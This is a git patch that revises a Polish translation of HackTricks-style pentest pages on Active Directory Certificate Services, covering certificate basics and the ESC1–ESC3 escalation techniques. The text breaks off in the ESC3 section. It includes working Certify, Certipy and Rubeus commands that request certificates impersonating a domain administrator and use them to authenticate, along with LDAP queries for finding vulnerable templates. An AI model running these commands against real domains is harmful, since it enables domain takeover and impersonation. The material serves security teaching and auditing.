From a20ddc7540b2a6145cfbc15d7162c4f7b62618f1 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 22:31:07 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/ad-c --- .../ad-certificates/README.md | 124 ++-- .../ad-certificates/domain-escalation.md | 529 +++++++++--------- 2 files changed, 343 insertions(+), 310 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 49e61f919..20c2e869a 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -1,4 +1,4 @@ -# AD Certificates +# Certyfikaty AD {{#include ../../../banners/hacktricks-training.md}} @@ -6,107 +6,117 @@ ### Składniki certyfikatu -- **Podmiot** certyfikatu oznacza jego właściciela. -- **Klucz publiczny** jest sparowany z kluczem prywatnym, aby powiązać certyfikat z jego prawowitym właścicielem. -- **Okres ważności**, określony przez daty **NotBefore** i **NotAfter**, oznacza czas obowiązywania certyfikatu. -- Unikalny **Numer seryjny**, dostarczony przez Urząd Certyfikacji (CA), identyfikuje każdy certyfikat. -- **Wystawca** odnosi się do CA, który wydał certyfikat. -- **SubjectAlternativeName** pozwala na dodatkowe nazwy dla podmiotu, zwiększając elastyczność identyfikacji. -- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA, czy dla podmiotu końcowego, oraz definiują ograniczenia użytkowania. -- **Rozszerzone zastosowania kluczy (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu czy szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID). -- **Algorytm podpisu** określa metodę podpisywania certyfikatu. -- **Podpis**, stworzony za pomocą klucza prywatnego wystawcy, gwarantuje autentyczność certyfikatu. +- The **Subject** of the certificate denotes its owner. +- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner. +- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration. +- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate. +- The **Issuer** refers to the CA that has issued the certificate. +- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility. +- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions. +- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs). +- The **Signature Algorithm** specifies the method for signing the certificate. +- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity. -### Specjalne uwagi +### Szczególne uwagi -- **Nazwy alternatywne podmiotu (SAN)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów z wieloma domenami. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących manipulujących specyfikacją SAN. +- **Subject Alternative Names (SANs)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów obsługujących wiele domen. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących modyfikujących specyfikację SAN. -### Urzędy Certyfikacji (CA) w Active Directory (AD) +### Certificate Authorities (CAs) w Active Directory (AD) -AD CS uznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których każdy pełni unikalne role: +AD CS rozpoznaje certyfikaty CA w lesie AD za pomocą wyznaczonych kontenerów, z których każdy pełni unikalną rolę: -- Kontener **Certification Authorities** przechowuje zaufane certyfikaty root CA. -- Kontener **Enrolment Services** zawiera szczegóły dotyczące Enterprise CA i ich szablonów certyfikatów. -- Obiekt **NTAuthCertificates** zawiera certyfikaty CA autoryzowane do uwierzytelniania AD. -- Kontener **AIA (Authority Information Access)** ułatwia walidację łańcucha certyfikatów z certyfikatami CA pośrednimi i krzyżowymi. +- **Certification Authorities** container przechowuje zaufane certyfikaty root CA. +- **Enrolment Services** container zawiera informacje o Enterprise CAs i ich certificate templates. +- **NTAuthCertificates** object obejmuje certyfikaty CA uprawnione do uwierzytelniania w AD. +- **AIA (Authority Information Access)** container ułatwia walidację łańcucha certyfikatów dzięki certyfikatom pośrednim i cross CA. -### Pozyskiwanie certyfikatu: Proces żądania certyfikatu klienta +### Pozyskiwanie certyfikatu: przebieg żądania klienta -1. Proces żądania rozpoczyna się od znalezienia przez klientów Enterprise CA. -2. Tworzony jest CSR, zawierający klucz publiczny i inne szczegóły, po wygenerowaniu pary kluczy publiczno-prywatnych. -3. CA ocenia CSR w odniesieniu do dostępnych szablonów certyfikatów, wydając certyfikat na podstawie uprawnień szablonu. -4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go do klienta. +1. Proces żądania zaczyna się od odnalezienia Enterprise CA przez klienta. +2. Tworzony jest CSR, zawierający klucz publiczny i inne dane, po wygenerowaniu pary klucz publiczny–prywatny. +3. CA ocenia CSR względem dostępnych certificate templates i wydaje certyfikat na podstawie uprawnień szablonu. +4. Po zatwierdzeniu CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go klientowi. -### Szablony certyfikatów +### Certificate Templates -Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do rejestracji lub modyfikacji, co jest kluczowe dla zarządzania dostępem do usług certyfikacyjnych. +Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do enrollment i modyfikacji — kluczowe do zarządzania dostępem do usług certyfikacyjnych. ## Rejestracja certyfikatu -Proces rejestracji certyfikatów inicjuje administrator, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). Umożliwia to klientom rejestrację, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory. +Proces rejestracji certyfikatów jest inicjowany przez administratora, który **tworzy certificate template**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). To udostępnia szablon do rejestracji przez klientów, co osiąga się dodając nazwę szablonu do pola `certificatetemplates` obiektu Active Directory. -Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestracji**. Prawa te są określone przez deskryptory zabezpieczeń na szablonie certyfikatu oraz samym Enterprise CA. Uprawnienia muszą być przyznane w obu lokalizacjach, aby żądanie mogło być skuteczne. +Aby klient mógł zażądać certyfikatu, muszą być przyznane mu **enrollment rights**. Prawa te są definiowane przez security descriptors na certificate template oraz na samym Enterprise CA. Uprawnienia muszą być nadane w obu miejscach, aby żądanie zakończyło się sukcesem. -### Prawa rejestracji szablonów +### Prawa do rejestracji szablonu -Prawa te są określone za pomocą wpisów kontroli dostępu (ACE), szczegółowo opisujących uprawnienia, takie jak: +Prawa te są określone przez Access Control Entries (ACE), szczegółowo opisujące uprawnienia takie jak: -- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, każde związane z określonymi GUID. +- **Certificate-Enrollment** i **Certificate-AutoEnrollment** prawa, każde powiązane z określonymi GUID. - **ExtendedRights**, pozwalające na wszystkie rozszerzone uprawnienia. - **FullControl/GenericAll**, zapewniające pełną kontrolę nad szablonem. -### Prawa rejestracji Enterprise CA +### Prawa Enterprise CA do rejestracji -Prawa CA są określone w jego deskryptorze zabezpieczeń, dostępnym za pośrednictwem konsoli zarządzania Urzędem Certyfikacji. Niektóre ustawienia pozwalają nawet użytkownikom o niskich uprawnieniach na zdalny dostęp, co może stanowić zagrożenie dla bezpieczeństwa. +Prawa CA są opisane w jego security descriptorze, dostępnym przez konsolę zarządzania Certificate Authority. Niektóre ustawienia mogą nawet umożliwiać zdalny dostęp użytkownikom o niskich uprawnieniach, co może stanowić zagrożenie bezpieczeństwa. ### Dodatkowe kontrole wydawania -Mogą obowiązywać pewne kontrole, takie jak: +Mogą być stosowane pewne kontrole, takie jak: -- **Zatwierdzenie menedżera**: Umieszcza żądania w stanie oczekiwania do zatwierdzenia przez menedżera certyfikatów. -- **Agenci rejestracji i autoryzowane podpisy**: Określają liczbę wymaganych podpisów na CSR oraz niezbędne identyfikatory polityki aplikacji OID. +- **Manager Approval**: umieszcza żądania w stanie oczekującym do momentu zatwierdzenia przez managera certyfikatów. +- **Enrolment Agents and Authorized Signatures**: określają liczbę wymaganych podpisów w CSR oraz niezbędne Application Policy OIDy. ### Metody żądania certyfikatów -Certyfikaty można żądać za pośrednictwem: +Certyfikaty można żądać przez: 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), używając interfejsów DCOM. -2. **ICertPassage Remote Protocol** (MS-ICPR), przez nazwaną rurę lub TCP/IP. -3. **interfejsu internetowego rejestracji certyfikatów**, z zainstalowaną rolą Web Enrollment Urzędu Certyfikacji. -4. **Usługi rejestracji certyfikatów** (CES), w połączeniu z usługą polityki rejestracji certyfikatów (CEP). -5. **Usługi rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając Protokółu Prostej Rejestracji Certyfikatów (SCEP). +2. **ICertPassage Remote Protocol** (MS-ICPR), przez named pipes lub TCP/IP. +3. Interfejs webowy certificate enrollment, z rolą Certificate Authority Web Enrollment zainstalowaną. +4. **Certificate Enrollment Service** (CES), w powiązaniu z Certificate Enrollment Policy (CEP) service. +5. **Network Device Enrollment Service** (NDES) dla urządzeń sieciowych, używając Simple Certificate Enrollment Protocol (SCEP). -Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia `Get-Certificate` PowerShell). +Użytkownicy Windows mogą także żądać certyfikatów przez GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzia wiersza poleceń (`certreq.exe` lub polecenie PowerShell `Get-Certificate`). ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` ## Uwierzytelnianie za pomocą certyfikatów -Active Directory (AD) wspiera uwierzytelnianie za pomocą certyfikatów, głównie wykorzystując protokoły **Kerberos** i **Secure Channel (Schannel)**. +Active Directory (AD) obsługuje uwierzytelnianie przy użyciu certyfikatów, głównie z wykorzystaniem protokołów **Kerberos** i **Secure Channel (Schannel)**. -### Proces Uwierzytelniania Kerberos +### Proces uwierzytelniania Kerberos -W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność** certyfikatu, **ścieżkę** oraz **status unieważnienia**. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **sklepie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod: +W procesie uwierzytelniania Kerberos żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane przy użyciu **klucza prywatnego** certyfikatu użytkownika. To żądanie podlega kilku weryfikacjom wykonywanym przez kontroler domeny, w tym sprawdzeniu **ważności**, **ścieżki** oraz **statusu unieważnienia** certyfikatu. Weryfikacje obejmują także potwierdzenie, że certyfikat pochodzi z zaufanego źródła oraz obecności wystawcy w **magazynie certyfikatów NTAUTH**. Udane weryfikacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -jest kluczowe dla ustanowienia zaufania w przypadku uwierzytelniania certyfikatów. +jest kluczowe dla ustanawiania zaufania w uwierzytelnianiu za pomocą certyfikatów. -### Uwierzytelnianie Secure Channel (Schannel) +### Secure Channel (Schannel) Authentication -Schannel ułatwia bezpieczne połączenia TLS/SSL, gdzie podczas handshake klient przedstawia certyfikat, który, jeśli zostanie pomyślnie zweryfikowany, upoważnia do dostępu. Mapowanie certyfikatu do konta AD może obejmować funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metody. +Schannel umożliwia bezpieczne połączenia TLS/SSL, w których podczas handshake klient przedstawia certyfikat, który — jeśli zostanie pomyślnie zweryfikowany — uprawnia do dostępu. Mapowanie certyfikatu na konto AD może wykorzystywać funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metodami. -### Enumeracja usług certyfikatów AD +### AD Certificate Services Enumeration -Usługi certyfikatów AD można enumerować za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS. +Usługi certyfikatów AD można wyliczyć za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla dowolnego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS. -Polecenia do korzystania z tych narzędzi obejmują: +Przykładowe polecenia użycia tych narzędzi obejmują: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -115,9 +125,11 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 certutil.exe -TCAInfo certutil -v -dstemplate ``` -## Odniesienia +## Źródła - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index a98936ada..212b4075d 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,109 +1,119 @@ -# AD CS Domain Escalation +# AD CS Eskalacja w domenie {{#include ../../../banners/hacktricks-training.md}} -**To jest podsumowanie sekcji technik eskalacji postów:** + +**To jest podsumowanie sekcji technik eskalacji z poniższych wpisów:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy) -## Źle skonfigurowane szablony certyfikatów - ESC1 +## Misconfigured Certificate Templates - ESC1 ### Wyjaśnienie -### Źle skonfigurowane szablony certyfikatów - ESC1 Wyjaśnione +### Misconfigured Certificate Templates - ESC1 Wyjaśnienie -- **Prawa do rejestracji są przyznawane użytkownikom o niskich uprawnieniach przez Enterprise CA.** -- **Zgoda menedżera nie jest wymagana.** -- **Nie są potrzebne podpisy od upoważnionego personelu.** -- **Deskriptory bezpieczeństwa na szablonach certyfikatów są zbyt liberalne, co pozwala użytkownikom o niskich uprawnieniach uzyskać prawa do rejestracji.** -- **Szablony certyfikatów są skonfigurowane w celu zdefiniowania EKU, które ułatwiają uwierzytelnianie:** -- Identyfikatory Extended Key Usage (EKU) takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) lub brak EKU (SubCA) są uwzględnione. -- **Możliwość dla wnioskodawców do dołączenia subjectAltName w żądaniu podpisania certyfikatu (CSR) jest dozwolona przez szablon:** -- Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR można zażądać certyfikatu do podszywania się pod dowolnego użytkownika (np. administratora domeny). To, czy SAN może być określony przez wnioskodawcę, jest wskazane w obiekcie AD szablonu certyfikatu przez właściwość `mspki-certificate-name-flag`. Ta właściwość jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala wnioskodawcy na określenie SAN. +- **Prawa do rejestracji (enrolment rights) są przyznawane niskoprzywilejowanym użytkownikom przez Enterprise CA.** +- **Zatwierdzenie przez menedżera nie jest wymagane.** +- **Nie są potrzebne podpisy uprawnionego personelu.** +- **Security descriptors na szablonach certyfikatów są zbyt liberalne, pozwalając niskoprzywilejowanym użytkownikom uzyskać prawa do rejestracji.** +- **Szablony certyfikatów są skonfigurowane tak, aby określać EKU ułatwiające uwierzytelnianie:** +- Extended Key Usage (EKU) identyfikatory takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), lub brak EKU (SubCA) są uwzględnione. +- **Szablon pozwala wnioskodawcom na określenie subjectAltName w Certificate Signing Request (CSR):** +- Active Directory (AD) priorytetyzuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR można zażądać certyfikatu, który podszyje się pod dowolnego użytkownika (np. administratora domeny). Możliwość określenia SAN przez wnioskodawcę jest wskazywana w obiekcie szablonu certyfikatu w AD przez właściwość `mspki-certificate-name-flag`. Właściwość ta jest bitmaską, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` zezwala wnioskodawcy na określenie SAN. > [!CAUTION] -> Opisana konfiguracja pozwala użytkownikom o niskich uprawnieniach na żądanie certyfikatów z dowolnym wybranym SAN, co umożliwia uwierzytelnianie jako dowolny podmiot domeny przez Kerberos lub SChannel. +> Konfiguracja opisana powyżej pozwala niskoprzywilejowanym użytkownikom żądać certyfikatów z dowolnym SAN, co umożliwia uwierzytelnianie się jako dowolny podmiot domeny poprzez Kerberos lub SChannel. -Funkcja ta jest czasami włączana, aby wspierać generację certyfikatów HTTPS lub hostów w locie przez produkty lub usługi wdrożeniowe, lub z powodu braku zrozumienia. +Funkcja ta jest czasem włączana, by wspierać generowanie na żądanie certyfikatów HTTPS lub hosta przez produkty czy usługi wdrożeniowe, albo wskutek braku zrozumienia. -Zauważono, że utworzenie certyfikatu z tą opcją wywołuje ostrzeżenie, co nie ma miejsca, gdy istniejący szablon certyfikatu (taki jak szablon `WebServer`, który ma włączoną `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) jest duplikowany, a następnie modyfikowany w celu uwzględnienia OID uwierzytelniania. +Zauważono, że tworzenie certyfikatu z tą opcją generuje ostrzeżenie, czego nie widać w sytuacji, gdy istniejący szablon certyfikatu (np. `WebServer`, który ma włączoną flagę `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) zostanie skopiowany i następnie zmodyfikowany, aby dodać OID uwierzytelniania. -### Nadużycie +### Abuse -Aby **znaleźć podatne szablony certyfikatów**, możesz uruchomić: +Aby **znaleźć podatne szablony certyfikatów** możesz uruchomić: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Aby **wykorzystać tę lukę do podszywania się pod administratora**, można uruchomić: +Aby **wykorzystać tę podatność do podszycia się pod administratora** można uruchomić: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Następnie możesz przekształcić wygenerowany **certyfikat do formatu `.pfx`** i użyć go do **uwierzytelnienia za pomocą Rubeus lub certipy** ponownie: +Następnie możesz przekonwertować wygenerowany **certyfikat do formatu `.pfx`** i ponownie użyć go do **uwierzytelnienia za pomocą Rubeus lub certipy**: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Binaries systemu Windows "Certreq.exe" i "Certutil.exe" mogą być używane do generowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Binarne pliki Windows "Certreq.exe" i "Certutil.exe" mogą być użyte do wygenerowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Enumeracja szablonów certyfikatów w schemacie konfiguracji lasu AD, szczególnie tych, które nie wymagają zatwierdzenia ani podpisów, posiadających EKU Client Authentication lub Smart Card Logon oraz z włączonym flagą `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, może być przeprowadzona poprzez uruchomienie następującego zapytania LDAP: +Wyliczenie szablonów certyfikatów w schemacie konfiguracji lasu AD, konkretnie tych, które nie wymagają zatwierdzeń ani podpisów, posiadają EKU Client Authentication lub Smart Card Logon oraz mają włączoną flagę `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, można przeprowadzić uruchamiając następujące zapytanie LDAP: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` -## Źle skonfigurowane szablony certyfikatów - ESC2 +## Błędnie skonfigurowane szablony certyfikatów - ESC2 ### Wyjaśnienie -Drugi scenariusz nadużycia jest wariantem pierwszego: +1. Enterprise CA przyznaje prawa rejestracji certyfikatów użytkownikom o niskich uprawnieniach. +2. Wymóg zatwierdzenia przez managera jest wyłączony. +3. Wymóg autoryzowanych podpisów jest pominięty. +4. Nadmiernie liberalny security descriptor w szablonie certyfikatu przyznaje prawa rejestracji certyfikatu użytkownikom o niskich uprawnieniach. +5. **Szablon certyfikatu jest zdefiniowany tak, aby zawierać Any Purpose EKU lub nie zawierać EKU.** -1. Prawa do rejestracji są przyznawane użytkownikom o niskich uprawnieniach przez Enterprise CA. -2. Wymóg zatwierdzenia przez menedżera jest wyłączony. -3. Wymóg autoryzowanych podpisów jest pomijany. -4. Zbyt liberalny opis zabezpieczeń na szablonie certyfikatu przyznaje prawa do rejestracji certyfikatów użytkownikom o niskich uprawnieniach. -5. **Szablon certyfikatu jest zdefiniowany tak, aby obejmował Any Purpose EKU lub nie miał EKU.** +**Any Purpose EKU** pozwala atakującemu uzyskać certyfikat do **dowolnego celu**, w tym uwierzytelniania klienta, uwierzytelniania serwera, podpisywania kodu itd. Tę samą **technikę używaną dla ESC3** można zastosować do wykorzystania tego scenariusza. -**Any Purpose EKU** pozwala na uzyskanie certyfikatu przez atakującego w **dowolnym celu**, w tym uwierzytelnianie klienta, uwierzytelnianie serwera, podpisywanie kodu itp. Ta sama **technika używana w ESC3** może być wykorzystana do wykorzystania tego scenariusza. +Certyfikaty z **brakiem EKU**, które działają jako certyfikaty subordinowanego CA, mogą być wykorzystane do **dowolnego celu** i **mogą również służyć do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat subordinowanego CA. -Certyfikaty z **brakiem EKU**, które działają jako certyfikaty podrzędnych CA, mogą być wykorzystywane do **dowolnych celów** i mogą **również być używane do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat podrzędnego CA. +Jednak nowe certyfikaty utworzone do **uwierzytelniania domenowego** nie będą działać, jeśli certyfikat subordinowanego CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący wciąż może utworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one potencjalnie zostać **nadużyte** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć istotne konsekwencje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec. -Jednak nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli podrzędny CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący może nadal tworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one być potencjalnie **nadużywane** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec. - -Aby enumerować szablony, które pasują do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP: +Aby wyliczyć szablony pasujące do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Źle skonfigurowane szablony agentów rejestracji - ESC3 +## Błędnie skonfigurowane szablony Enrollment Agent - ESC3 ### Wyjaśnienie -Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inny EKU** (Agent Żądania Certyfikatu) oraz **2 różne szablony** (dlatego ma 2 zestawy wymagań), +Ten scenariusz jest podobny do pierwszego i drugiego, ale nadużywa innego EKU (Certificate Request Agent) oraz 2 różnych szablonów (w związku z tym ma 2 zestawy wymagań). -**EKU Agenta Żądania Certyfikatu** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent Rejestracji** w dokumentacji Microsoft, pozwala podmiotowi **rejestrować** **certyfikat** w **imię innego użytkownika**. +The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), znany jako Enrollment Agent w dokumentacji Microsoft, umożliwia principalowi enroll for a certificate on behalf of another user. -**„agent rejestracji”** rejestruje się w takim **szablonie** i używa uzyskanego **certyfikatu do współpodpisania CSR w imieniu innego użytkownika**. Następnie **wysyła** **współpodpisany CSR** do CA, rejestrując się w **szablonie**, który **zezwala na „rejestrację w imieniu”**, a CA odpowiada **certyfikatem należącym do „innego” użytkownika**. +„enrollment agent” zapisuje się w takim „template” i używa wynikowego certificate do współpodpisania CSR w imieniu innego użytkownika. Następnie wysyła współpodpisany CSR do CA, zapisując się w template, który zezwala na „enroll on behalf of”, a CA wystawia certificate należący do „innego” użytkownika. **Wymagania 1:** -- Prawa do rejestracji są przyznawane użytkownikom o niskich uprawnieniach przez Enterprise CA. -- Wymóg zatwierdzenia przez menedżera jest pomijany. +- Enterprise CA przyznaje użytkownikom o niskich uprawnieniach prawa do enrollment. +- Wymóg zatwierdzenia przez managera jest pominięty. - Brak wymogu autoryzowanych podpisów. -- Opis zabezpieczeń szablonu certyfikatu jest nadmiernie liberalny, przyznając prawa do rejestracji użytkownikom o niskich uprawnieniach. -- Szablon certyfikatu zawiera EKU Agenta Żądania Certyfikatu, umożliwiając żądanie innych szablonów certyfikatów w imieniu innych podmiotów. +- Security descriptor certificate template jest nadmiernie permisywny i przyznaje enrollment rights użytkownikom o niskich 